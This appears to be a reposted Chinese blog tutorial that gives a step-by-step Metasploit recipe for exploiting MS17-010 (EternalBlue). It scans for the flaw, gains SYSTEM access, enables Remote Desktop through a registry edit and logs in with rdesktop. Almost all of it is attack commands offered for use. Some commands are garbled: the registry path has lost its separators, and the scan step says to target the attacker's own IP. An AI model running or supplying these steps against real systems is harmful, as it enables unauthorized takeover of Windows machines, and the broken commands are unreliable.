使用MSF通过MS17-010获取系统权限
Posted yuanshu
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了使用MSF通过MS17-010获取系统权限相关的知识，希望对你有一定的参考价值。
---恢复内容开始---
Step1：开启postgresql数据库；
/etc/init.d/postgresql start
Step2：进入MSF中，搜索cve17-010相关的exp；
search 17-010
其中，auxiliary/scanner/smb/smb_ms17_010 是扫描漏洞是否存在的辅助工具
exploit/windows/smb/ms17_010_eternalblue 是用来攻击的 exp
Step3：探测漏洞是否存在
1、查看rhosts、rpost
use auxiliary/scanner/smb/smb_ms17_010
show options
2、设置rhosts为靶机的网段，rpost为445端口；
set rhosts 攻击者的IP
exploit
Step4：攻击靶机
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 靶机的IP
exploit
Step5：攻击成功后就能获取目标的system权限，创建新用户，开启3389端口
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
Step6：远程登录目标机
rdesktop 目标ip
成功登录目标机
以上是关于使用MSF通过MS17-010获取系统权限的主要内容，如果未能解决你的问题，请参考以下文章